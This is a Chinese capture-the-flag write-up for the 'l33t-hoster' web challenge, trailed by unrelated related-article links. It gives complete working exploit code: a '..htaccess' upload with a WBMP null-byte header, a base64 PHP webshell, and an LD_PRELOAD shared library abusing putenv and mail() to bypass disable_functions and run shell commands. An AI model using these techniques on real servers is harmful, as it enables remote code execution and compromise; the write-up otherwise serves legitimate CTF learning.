l33t-hoster .htaccess \x00注释putenv绕过disable_function计算c代码
源码
<?php
if (isset($_GET["source"])) die(highlight_file(__FILE__));session_start();if (!isset($_SESSION["home"])) {$_SESSION["home"] = bin2hex(random_bytes(20));
}
$userdir = "images/{$_SESSION["home"]}/";
if (!file_exists($userdir)) {mkdir($userdir);
}$disallowed_ext = array("php","php3","php4","php5","php7","pht","phtm","phtml","phar","phps",
);if (isset($_POST["upload"])) {if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {die("yuuuge fail");}$tmp_name = $_FILES["image"]["tmp_name"];$name = $_FILES["image"]["name"];$parts = explode(".", $name);$ext = array_pop($parts);if (empty($parts[0])) {array_shift($parts);}if (count($parts) === 0) {die("lol filename is empty");}if (in_array($ext, $disallowed_ext, TRUE)) {die("lol nice try, but im not stupid dude...");}$image = file_get_contents($tmp_name);if (mb_strpos($image, "<?") !== FALSE) {die("why would you need php in a pic.....");}if (!exif_imagetype($tmp_name)) {die("not an image.");}$image_size = getimagesize($tmp_name);if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {die("lol noob, your pic is not l33t enough");}$name = implode(".", $parts);move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";
foreach(glob($userdir . "*") as $file) {echo "<li><a href='$file'>$file</a></li>";
}
echo "</ul>";?><h1>Upload your pics!</h1>
<form method="POST" action="?" enctype="multipart/form-data"><input type="file" name="image"><input type="submit" name=upload>
</form>
<!-- /?source -->
题解-上传shell
这道题目是允许我们上传文件,但是所有php文件的后缀都被过滤了,
- 如果文件名是通过get或post获取的,可采用php\n的方式绕过
- 如果存在.htaccess可以通过上传.htaccess达到其他后缀的效果
- 如果获取文件后缀的方式有问题,可以通过php/. 方式绕过,但是此种发放也行不通,
wushell.php/.
的时候$name = $_FILES["image"]["name"]
只能为.
,后来又测试了一下通过$_FILES
获取的文件名不能包含/
,他会取最后一个/后面的内容。
这儿我们直接上传.htaccess
,但是很.htaccess
的文件名比较特殊,这儿需要绕过
根据源码我们发现这句话
array_shift($parts);
array_shift
是删除数组的第一个元素并返回新的数组代替原来的数组,所以我们只需要让上传的文件名为..htaccess
就可以轻松绕过了~~
文件内容不能包含<?,我们查看了一下php版本,是php7,所以无法用<script lanague='php'>
绕过,我们只好看能不能利用编码绕过了
.htaccess还真的支持这个
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
剩下最后一个内容就是绕过exif_imagetype
的检查,这儿是检查文件头的,根据网上的文章,wbmp
的格式也支持这个函数,而且这个文件的magic number
的开头是\x00
,而经过fuzz,我们也发现.htaccess也能当作注释符号~~
最后的脚本为(参考师傅的)
#!/usr/bin/env python3import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"COOKIES = {"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?phpvar_dump("works");
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik")
print(response.text)
绕过disable_function
看了一下phpinfo,没办法使用系统函数,但是没有过滤putenv
函数
第一步,编译eval.c
生成evil.so
gcc -Wall -fPIC -shared -o evil.so evil.c -ldl
/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload(char *cmd) {char buf[512];strcpy(buf, cmd);strcat(buf, " > /tmp/_0utput.txt");system(buf);}int getuid() {char *cmd;if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");if ((cmd = getenv("_evilcmd")) != NULL) {payload(cmd);}return 1;
}
第二步 上传`evil.so`
#!/usr/bin/env python3import requestsimport base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://35.246.234.136/"
RANDOM_DIRECTORY = "ad759ad95e5482e02a15c5d30042b588b6630e64"COOKIES = {"PHPSESSID" : "0e7eal0ji7seg6ac3ck7d2csd8"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=uname -a");
mail('a','a','a');
echo file_get_contents('/tmp/_0utput.txt');
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)files = { "evil" : open("../payloads/evil.so", "rb") }
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
能触发LD
的函数
- mb_send_mail
- exec
- system
- passthru
- shell_exec
- error_log
- mail(‘a’,‘a’,‘a’)
- gnupg_init()
- imap_mail
- pcntl_exec
- new gnupg()
第三步 解验证码
编译 gcc -o captcha_solver captcha_solver.c
#include <string.h>
#include <stdint.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
int main() {pid_t pid = 0;int inpipefd[2];int outpipefd[2];pipe(inpipefd);pipe(outpipefd);pid = fork();if (pid == 0) {dup2(outpipefd[0], STDIN_FILENO);dup2(inpipefd[1], STDOUT_FILENO);dup2(inpipefd[1], STDERR_FILENO);prctl(PR_SET_PDEATHSIG, SIGTERM);execl("/get_flag", "get_flag", (char*) NULL);exit(1);}close(outpipefd[0]);close(inpipefd[1]);char data[0xff] = {0};// Read first linefor (; data[0] != '\n'; read(inpipefd[0], data, 1));// Read captcharead(inpipefd[0], data, 0xff);uint64_t sum = 0;char *pch;printf("Raw : %s\n", data);pch = strtok (data, "+");printf("Sum : %lu\n", sum);while (pch != 0) {sum += strtoull(pch, 0, 10);printf("Operand : %lu\n", atol(pch));printf("Sum : %lu\n", sum);pch = strtok (0, "+");}char result[32] = {0};sprintf(result, "%lu\n", sum);printf("Result : %lu\n", sum);write(outpipefd[1], result, 16);memset(data, 0, 0xff);read(inpipefd[0], data, 0xff);printf("Final : %s", data);}
第四步 上传编译好的c文件,并且执行c
#!/usr/bin/env python3import requests
import base64VALID_WBMP = b"\x00\x00\x8a\x39\x8a\x39\x0a"
URL = "http://98593d39-9994-4cdb-9a23-b1e489771703.node3.buuoj.cn"
RANDOM_DIRECTORY = "fc7d09ba57327537aa7cd6394979b53995aaa596"COOKIES = {"PHPSESSID" : "WWW"}def upload_content(name, content):data = {"image" : (name, content, 'image/png'),"upload" : (None, "Submit Query", None)}response = requests.post(URL, files=data, cookies=COOKIES)HT_ACCESS = VALID_WBMP + b"""
AddType application/x-httpd-php .corb3nik
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.corb3nik"
"""
TARGET_FILE = VALID_WBMP + b"AA" + base64.b64encode(b"""
<?php
move_uploaded_file($_FILES['evil']['tmp_name'], '/tmp/evil.so');
move_uploaded_file($_FILES['captcha_solver']['tmp_name'], '/tmp/solver'); putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=chmod 777 /tmp/solver");
mail('a','a','a');putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=cd / && /tmp/solver");
mail('a','a','a');echo file_get_contents('/tmp/_0utput.txt');
?>
""")upload_content("..htaccess", HT_ACCESS)
upload_content("shell.corb3nik", TARGET_FILE)
upload_content("trigger.corb3nik", VALID_WBMP)files = { "evil" : open("evil.so", "rb"),"captcha_solver": open("captcha_solver", "rb")}
response = requests.post(URL + "/images/" + RANDOM_DIRECTORY + "/trigger.corb3nik", files=files)
print(response.text)
参考链接
我写的可能不是很详细,贴一下师傅的链接
链接
l33t-hoster .htaccess \x00注释putenv绕过disable_function计算c代码相关推荐
- PHP绕过disable_function限制(一)
测试环境 php 5.4.5 0x01 利用系统组件绕过 1.window com组件(php 5.4)(高版本扩展要自己添加) (COM组件它最早的设计意图是,跨语言实现程序组件的复用.) 测试: ...
- 基于文档注释接口文档生成工具(代码0侵入附源码)
本文主要分享一个基于个人兴趣,旨在提高工作效率,开发了一个基于文档注释,接口文档生成工具,欢迎大佬指点. 源码以及使用demo地址 :传送门 1.前置介绍 1.1前世 现在大多数项目都走向了前后端分离 ...
- java注释搞笑图案_搞笑的代码注释,那些有趣的程序员
发表于 2019-04-24 16:11:26 by 月小升 搞笑 /*** * .::::. * .::::::::. * ::::::::::: F*CK YOU * ..:::::::::::' ...
- Visual Studio 2022版本 B站黑马程序员C++自学分享-第一阶段(主要包括:自己敲的代码、通过注释来备注上自己对代码的理解)
Visual Studio 2022版本 B站黑马程序员C++自学分享-第一阶段(主要包括:自己敲的代码.通过注释来备注上自己对代码的理解) 前言 一.第一阶段 C++基础语法入门 对C++有初步了解 ...
- Visual Studio 2022版本 B站黑马程序员C++自学分享-第三阶段(1)(主要包括:自己敲的代码、通过注释来备注上自己对代码的理解)
Visual Studio 2022版本 B站黑马程序员C++自学分享-第三阶段(1)(主要包括:自己敲的代码.通过注释来备注上自己对代码的理解) 前言 三.第三阶段 C++提高编程 介绍C++泛型编 ...
- [羊城杯2020]easyphp --- 伪协议的使用时机,---python上传.htaccess的利用 -- preg_match绕过
目录: 一. 自己做: 二.学到的.不足: 三. 1. 利用.htaccess来设置文件自动包含 2. 绕过 \n 的过滤 3. 绕过stristr的过滤. 4. 绕过preg_match 2.思路二 ...
- 【Android 逆向】IDA 工具使用 ( 重命名函数 | 添加注释 | 添加标签 / 跳转标签 | 代码跳转前进 / 后退 )
文章目录 一.重命名函数 二.添加注释 三.添加标签 / 跳转标签 四.代码跳转前进 / 后退 一.重命名函数 针对一个 匿名函数 , 在分析函数时 , 可以为匿名函数进行命名 ; 右键点击 函数名 ...
- vc6.0注释功能的脚本快捷键设置代码
找到vc6.0的安装路径,vc6.0的默认安装路径是C:\Program Files (x86)\Microsoft Visual Studio\Common\MSDev98\Macros.在Macr ...
- php代码清除空格注解,PHP文件去掉PHP注释空格的函数分析(PHP代码压缩)
最近我从thinkphp的'RUNTIME_ALLINONE'借鉴到经验:不怕缓存多,就怕调用乱,索性将所有常用的文件全部合并成一个文件,岂不美哉... 复制代码 代码如下: function str ...
最新文章
- VS 2019 查看类图 UML 图
- gitlab数据迁移
- C语言文件操作解析(二)【转载】
- SAP Spartacus SSR模式启用失败的一个原因:SSR rendering exceeded timeout
- openshift_Openshift源中的高可用性Drools无状态服务
- Spring MVC 中 HandlerInterceptorAdapter的使用
- 生产排期混乱、质量问题难定位?这套生产场景方案全解决,附模板
- 菜鸟学Linux 第095篇笔记 MySQL 5.6主从复制
- FFmpeg学习(3)——视频中音频文件提取
- 【转】如何理解NPV与IRR的区别??
- 用Nginx禁止指定IP、国外IP访问我的网站
- html5移动端海报制作,H5制作利器,教你分分钟制作高/大/上H5海报!
- selenium chromedriver 无头浏览器检测
- 笔记本Win11连接WiFi后显示无Internet访问权限怎么办
- PL/SQL Developer用户登录ORA-01045 user lacks CREATE SESSION privilege logon denied
- JavaWeb实用项目之----化妆品销售网
- 粒子滤波(particle filtering)梳理
- 【python】pdf转png
- word如何设置每一章节的页眉都不同
- 程序设计入门——C语言 翁恺 期末考试编程题